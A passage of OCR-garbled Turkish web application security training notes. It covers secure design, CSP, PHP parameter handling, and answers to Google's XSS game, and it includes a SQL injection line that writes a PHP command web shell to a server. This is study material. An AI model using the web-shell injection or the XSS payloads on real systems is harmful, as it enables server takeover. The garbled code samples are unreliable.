hayir. Ayn1 zamanda yazilim denen sey problemlerimizi azaltmak, zaman kazandirmak igin vardr,
problemlerimizi artirip, zaman kazandirmiyorsa neden yararl olsun ki?

Temel olarak saldir1 yontemlerini ve korunma y6ntemlerini inceledigimizde sunu goriiyoruz:
ornegin girdinin sadece say1 olmasi gerekiyorsa bagka bir sey almamalisin ki senin yazilimini o
kismindan manipiile edemesin. Yani yazilimlarin, iiriinlerin yapim asamasindan ziyade tasarim
asamasinin kiymetli oldugunu. Ancak bu kismi atlayan patronlar ve proje yoneticileri yazilim
asamasinda c¢alisanlari sikistirdigi icin tasarim asamasi eksik ve kusurlu kalmaktadir. Temel olarak
da iyi tasarlanmayan yazilimlarin gerek giivenlik gerek islevellik yonleri oldukga zayif kalmaktadir.
Zafiyetsiz bir yazilim veya {iriin icin siki bir tasarim agamasi sarttir.

Isinize yarayabilecek detaylar 6rnekler:

Paketin header bilgisini goriintiilemek igin;
-nc -v www.milliyet.com.tr

Ornek:
POST www.linux.org.tr/index.xyz? kelime=M&kelime=F
Soru: Burada 2 kelime degiskeni verdik. Sonug ne doner?
PHP kodu: <?php $kelime=$_GET["kelime"] ?>
Cevap: F  (Asp'de olsayd1 Cevap: M,F)
Soru: Asagidaki PHP kodunda $sam degiskeninin degeri nedir?
<form method="POST"
$arrayl=aray(
'isim'="Mehmet'
'soyisim'='"ince'
)
$array2=array(
'isim'="Ahmet’
'yas'=19
$sam=%$array1+S$array?2;
Cevap: Mehmet ince 19

NOT: Proxy sunucularda X-Forwarded-For header 6zelligi Requestin hedef sunucuya, proxy
tarafindan hangi client i¢in yapildigini soyler.



Content Security Policy:

- Belirtilen siteler disinda kaynak alinmasin1 6nlemektedir.

- HTTP Response headerine yazilir.

- CSP unsafe-inline ozelligi: Igerideki inline JS kodlarinin ¢ahgtirilmasim énler.
- CSP unsafe-eval 6zelligi: JS eval() metodunun caligtiritlmasini 6nler.

- CSP Report: CSP isteklerindeki durumlar loglanabilir.

SUNUCUYU ELE GECIRME

192.168.44.130/sqli/example.php?name=root’ union select ‘<?php echo exec($_GET[“cmd”]);?
>*2,3,4,5 into outfile ‘/var/www/sqli/cmd2.php’ %23

Yukarida tamamen karma bir saldir1 sonucu énce Sql injection ile baslanip Sql injection'dan
yararlanip onun icinde Code injection yapilmistir. Sunucuda kod i¢inden cmd oturumu agilmistir. Ve
o an hangi kullamc1 yetki grubunu sémiiriiyorsak onun yetkileriyle hareket edebiliriz. Ornegin; Web

sunucu yoluyla mi girdik, sadece web sunucu kadar yetkiliyiz demektir.

GOOGLE XSS OYUNU

Google meraklilarin XSS hakkinda uygulama yapabilmesi i¢in sdyle bi oyun yapmis. Buyrun
oynayin. Tabi oynayacaksaniz yazinin devamini okumadan oynayin. Zira cevaplar var.

Not!: Javascript contextde her zaman ° ve < isaretine dikkat edicez.

Cevaplar:
Link Payload Link Payload
http://xss- <script>alert(1)</script> | http://xss- <svg onload=alert(1)>

game.appspot.com/level1

game.appspot.com/level2

http://xss-
game.appspot.com/level3

'><svg onload=alert(1)>
veya
3");"onmouseover="alert
(1

http://xss-
game.appspot.com/level4

http://xss-
game.appspot.com/lev
el4/frame?
timer="+alert(1)+'

http://xss-
game.appspot.com/level6

javascript:alert(1)

http://xss-
game.appspot.com/level6

frame#data:text/javasc
ript,alert(1)

Oyunun ¢éziimlerini Mehmet Ince bloguna anlatarak eklemis. E buyrun:

http://www.mehmetince.net/google-xss-oyunu-cozumleri/



http://www.mehmetince.net/google-xss-oyunu-cozumleri/

Son olarak bu belge umarim faydali olur. Gerek iislup hatalarim, gerek yazim hatalarim icin 6ziir
dilerim. Tekrar hatirlatmakta fayda gordiigiim sey ise, hatalarimi, eksiklerimi bana yazabilirsiniz,
github'dan pull-request yollayabilirsiniz. Bu belgeyi hep beraber gelistirip daha iyi bir belge haline
getirmek igin:

Emailim: zinnuryesilyurt@gmail.com

Github'im: https://github.com/1zinnur9

Belgenin github reposu: https://github.com/1zinnur9/wGuvenlik LYK14

Twitter'dan anlik ulagmak igin: https://twitter.com/zinnur92

Blogum: http://1zinnur9.blogspot.com.tr/

Belgeye blogumda ulasabileceginiz adres: http://1zinnur9.blogspot.com/2014/09/wuglyk14.html

Sorularinizi ve Onerilerinizi bana iletebilirsiniz.
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